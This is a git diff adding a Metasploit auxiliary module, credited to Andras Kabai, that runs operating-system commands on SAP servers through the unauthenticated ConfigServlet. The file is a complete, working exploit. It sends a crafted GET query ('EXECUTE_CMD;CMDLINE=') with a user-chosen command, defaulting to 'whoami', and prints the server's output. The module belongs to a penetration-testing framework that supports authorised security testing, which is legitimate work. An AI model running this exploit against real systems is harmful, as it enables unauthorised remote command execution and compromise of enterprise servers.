diff --git a/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb new file mode 100644 index 0000000000..ddcd66da91 --- /dev/null +++ b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb @@ -0,0 +1,72 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SAP ConfigServlet OS Command Execution', + 'Description' => %q{ + This module allows execution of operating system commands through the SAP + ConfigServlet without any authentication. + }, + 'Author' => + [ + 'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation) + 'Andras Kabai' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'], + [ 'EDB', '24963' ] + ], + 'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation + )) + + register_options( + [ + Opt::RPORT(50000), + OptString.new('CMD', [ true, 'The command to execute', 'whoami']), + OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet']) + ], self.class) + end + + def run + begin + print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) + uri = normalize_uri(target_uri.path, 'ConfigServlet') + + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'GET', + 'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text::uri_encode(datastore['CMD']) + }) + if !res or res.code != 200 + print_error("#{rhost}:#{rport} - Exploit failed.") + return + end + rescue ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - Failed to connect to the server") + return + end + + if res.body.include?("Process created") + print_good("#{rhost}:#{rport} - Exploited successfully\n") + print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") + print_line("#{rhost}:#{rport} - Output: #{res.body}") + else + print_error("#{rhost}:#{rport} - Exploit failed.") + vprint_error("#{rhost}:#{rport} - Output: #{res.body}") + end + end +end